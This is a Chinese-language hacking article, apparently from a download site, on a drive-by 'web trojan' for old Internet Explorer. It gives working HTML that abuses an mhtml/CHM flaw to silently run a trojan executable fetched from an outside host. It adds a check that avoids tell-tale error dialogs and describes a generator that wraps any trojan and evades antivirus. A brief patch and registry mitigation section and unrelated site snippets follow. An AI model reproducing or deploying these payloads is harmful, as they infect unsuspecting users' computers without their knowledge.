现如今网络上各种网页肆虐,上网时要处处防范,我本不想再给网络中加上这把火,所以本文所讲的网页我试验成功后,因为发觉其危害过大(win98、winme、win2000、winxp、win2003下均测试成功^*^),只仅仅发给了几位好友进行测试,随着时间的推移,等到今天这个漏洞补丁已经发布几个月后,我觉得有必要和热爱技术的网友共享一下,所以我写下了此文!
标题中的“过时”也是指补丁已发布而言,本文所介绍的网页和现如今流行的几种网页相比,应该还是比较新的,危害性也比较大,我衷心希望各位读者能够以研究为目的,不要用它肆意在网络上传播各种或恶意程序,以免给他人及自己带来不必要的麻烦。
《黑防》曾经介绍过mhtml漏洞,在利用上因为需要本地权限,不得不使用结合其他漏洞来获得本地权限,mhtml漏洞之后网络上又出现“Microsoft
Internet
Explorer未明CHM文件处理任意代码执行漏洞”,仔细看后我觉得这个应该是mhtml漏洞的延伸,于是我开始进行大量测试,希望可以更有效的利用这个漏洞。
测试过程是枯燥的我就不多说啦,我就直接把我获得的结果告诉大家,就是采用object标签结合“未明CHM文件处理任意代码执行漏洞”可以不需要借助任何其它控件如Scripting.FileSystemObject或ADODB.Stream,不需要任何javascript或VBSCRIPT代码,就可以执行任意程序,这在当前各种网页木马时比较少见的现象呀,让我想起了古老的“错误MIME漏洞”!不用控件和的好处是相当多的,至少可以极大的躲避各种杀毒软件的围剿,要知道现在连ADODB.Stream也被瑞星专门写了个软件来卸载呀!
废话少说,看代码先(icyfox-muma.htm):
<HTML oncontextmenu="return false">
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=gb2312">
<TITLE>“无”网页木马测试--冰狐浪子</TITLE>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="javascript">
//这里为了使状态栏显得比较正常
//不总是停留在进度条未完状态
window.status="完毕";
</SCRIPT>
<OBJECT Width=0 Height=0 style="display:none;" type="text/x-scriptlet" data="mk:@MSITStore:mhtml:C:\.mht!http://www.godog.y365.com/cs/muma/icyfox.chm::/icyfox.htm" type="text/x-scriptlet"></OBJECT>
</BODY>
</HTML>
其中文件“icyfox.chm”里面包含两个文件:icyfoxlovelace.exe 和 icyfox.htm,其中“icyfoxlovelace.exe”不用说就是一个木马程序啦,“icyfox.htm”文件的内容如下:
<HTML><HEAD>
<TITLE>冰狐浪子网页木马测试用CHM文件</TITLE>
</HEAD><BODY>
<OBJECT Width=0 Height=0 style="display:none;" TYPE="application/x-oleobject" CODEBASE="icyfoxlovelace.exe">
</OBJECT>
</BODY></HTML>
至于如何制作icyfox.chm文件我就不多说啦,不会的朋友请参阅《黑客防线》第六期的“CHM木马也疯狂”一文即可。
木马分析,“icyfox-muma.htm”中利用OBJECT标签结合CHM文件处理任意代码执行漏洞,使得icyfox.chm成为本地权限的文件,而由于icyfoxlovelace.exe 和 icyfox.htm 同处于icyfox.chm中也被视为本地权限的文件,这样由于本地安全设置默认允许未签名控件运行,使得“icyfoxlovelace.exe”在没有任何提示的情况下被作为一个控件而运行!见图一:
=========== 在此插入图一 ==============
文件“icyfox-muma.htm”中"mk:@MSITStore:mhtml:C:\.mht!http://www.godog.y365.com/cs/muma/icyfox.chm::/icyfox.htm"中的
“mk:@MSITStore:”可以替换为另外两种访问帮助文档的协议“mk-its:”或“its:”,“C:\.mht”是一个并不存在的mht格式的文件,当然也可以用同格式不同扩展名的eml来替代如“C:\not.eml”,甚至用任何其他只要硬盘并不存在的文件也可以比如“C:\icyfox.txt”,呵呵,因为指定“mhtml:”协议后无论后面是何种扩展名,IE总会用此协议来解析;同样的“icyfox.chm”也是可以任意改为其他扩展名,因为已经指定采用“mk:@MSITStore:”协议来访问,比如可以把它改为“icyfox.js”^*^。
为了方便各位网友测试,我特地写了一个生成器送给大家(其实是我不想像上次那样被人追杀^#^),生成器使用方法很简单,解压缩后,把其中的“#.EXE”这个文件用你的木马替换掉,注意不要把它改为其它名字,然后运行“冰狐浪子超级网页木马生成器.jse”,等一段时间后即可在同一目录中获得两个文件“icyfox.htm”和“icyfox.js”,“icyfox.htm”用我讲过的“任意添加NUL空字符(00h)”进行了,可以改名或嵌入其它页面中,而“icyfox.js”就是上面讲到的“icyfox.chm”,也请不要改为其他名字,需要注意的是:我是采用js编写的这个生成器,使用了Scripting.FileSystemObject和WScript.Shell控件,所以可能会引起杀毒软件的报警,请放心使用,里面应该没有地 ^*^ !
值得注意的一点是,如果“mhtml”协议已经被去掉或不被支持的话(我在测试时遇到几次这种情况),会产生如图二的错误对话框,
=========== 在此插入图二 ==============
这样容易引起怀疑,解决方法为写点js代码进行判断(还是我聪明^&^呵呵),代码如下:
<HTML><HEAD>
<TITLE>判断是否支持“mhtml”协议--冰狐浪子</TITLE>
</HEAD><BODY>
<SCRIPT language=JScript>
window.status="完毕";
var mht=0;
</SCRIPT>
<SCRIPT language=JScript src="mhtml:http://www.godog.y365.com/cs/muma/mht.mht!!">
</SCRIPT>
<SCRIPT language=JScript>
if(mht){
var mumaurl="";
var icyfoxmuma='<IFRAME src="'+mumaurl+'" style="display:none;" width=0 height=0></IFRAME>';
document.write(icyfoxmuma)
alert("支持“mhtml”协议"); }
else{ alert("不支持“mhtml”协议"); }
</SCRIPT>
</BODY></HTML>
其中mht.mht中的代码如下:
MIME-Version: 1.0
Content-Type: multipart/mixed;boundary="1"
--1
Content-Type:application/x-javascript;name="!"
Content-Transfer-Encoding: 7bit
Content-Location: !
Content-ID: <!>
mht=1;
--1--
这样就可以当“mhtml”协议不被支持时不调用网页木马,从而更完美一点点,测试时注意把上面的路径“http://www.godog.y365.com/cs/muma/”改为测试路径呀!
弥补漏洞防止木马
修改本地安全属性,相应的注册表键值为:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones\0
下的1004项的值由原来的0改为十六进制的3
或者去掉mhtml协议,相应的注册表键值为:
HKEY_CLASSES_ROOT\PROTOCOLS\Handler
把下面的“mhtml”删除或改名!
当然最好的办法是下载并安装相对应的IE补丁!
分享到:
相关推荐
虽然这个例子已经过时,因为它基于旧版QQ的广告方式,但它演示了批处理脚本如何利用if语句来判断文件是否存在,并执行删除操作。这展示了批处理脚本在系统管理方面的一些应用。 最后,教程还介绍了一个用于检查系统...
如UPFILE漏洞,允许黑客直接上传ASP木马,对使用该程序的站点构成严重威胁。因此,管理员应当定期检查官方更新,及时打补丁,避免使用过时的版本。 其次,如果选择自研程序,关键在于对输入数据进行严格的过滤和...
2. **删除广告脚本**:这个过时的脚本展示了如何使用`if`命令进行条件判断,以及`del`命令删除文件。它原本用于删除QQ安装目录下的广告图片,如果该目录不存在或没有广告图片,脚本将不执行删除操作。 3. **查杀...
例子二展示了一个过时但有趣的批处理脚本,它检查并删除C:\Program Files\Tencent\AD目录下的所有`.gif`广告文件。`@echo off`命令用于关闭命令行的回显,`if exist`用于判断文件或目录是否存在,`del`用于删除文件...
冰河是一种知名的远程控制木马,该批处理脚本通过`netstat -a -n`命令列出所有网络连接,并将结果保存到`a.txt`,然后使用`find`命令查找与冰河相关的端口号(如7626)。如果找到匹配项,脚本将输出提示信息,表明...
JavaScript是一种广泛应用于Web开发中的脚本语言,可以用来动态地改变网页内容。攻击者会利用网站的安全缺陷,将恶意JavaScript代码注入到页面中。这些代码可能来自外部文件,如`muma.js`,一旦被执行,就能控制用户...
例子二展示了一个过时的批处理脚本,用于删除QQ广告文件。`@echo off`关闭回显,`if exist`检查条件,`del`删除文件。这个脚本在早期版本的QQ中很有用,但现在由于广告形式的变化,其实际作用已经不大。 例子三是一...
2. 示例二:一个过时的批处理脚本,用于删除QQ安装目录下的广告图片。脚本中使用了if和exist命令来判断文件是否存在并执行删除操作。这展示了批处理的实时监控和条件执行能力。 3. 示例三:检查计算机是否被冰河...
3. **缓存文件**:浏览器和其他应用为加速加载网页或数据而存储的本地副本,过时的缓存可能占用大量空间。 4. **注册表**:Windows系统的核心数据库,存储所有硬件、软件和用户设置。无效或冗余的注册表项可能导致...
假阳性的问题:许多防病毒程序显示错误警报,说实用工具为木马/病毒/恶意软件感染。 开始使用NirLauncher: 为了使用NirLauncher,只需在包中提取所有文件到您的闪存驱动器或任何其他你想要的磁盘。您必须具有...
这些步骤都是为了增强个人电脑的安全性,防止密码被盗、木马攻击、恶意脚本、QQ攻击、病毒感染以及黑客的恶意入侵。对于仍在使用旧版Windows系统的用户,及时更新系统、安装安全补丁和使用防病毒软件同样至关重要,...
2. **深度检测**:强化扫描器不仅限于表面的网络连接检查,还深入到代码级别,分析Java应用程序的运行时行为,识别出潜在的代码注入、跨站脚本(XSS)、远程文件包含(RFI)等攻击向量。 3. **Java安全框架与API**:...
- **XSS攻击**:跨站脚本攻击(Cross-Site Scripting,XSS)利用不安全的用户输入在页面上执行恶意脚本。通过过滤和正确编码用户输入,可以预防这种攻击。 - **注入漏洞**:SQL注入、OS注入等允许攻击者向服务器...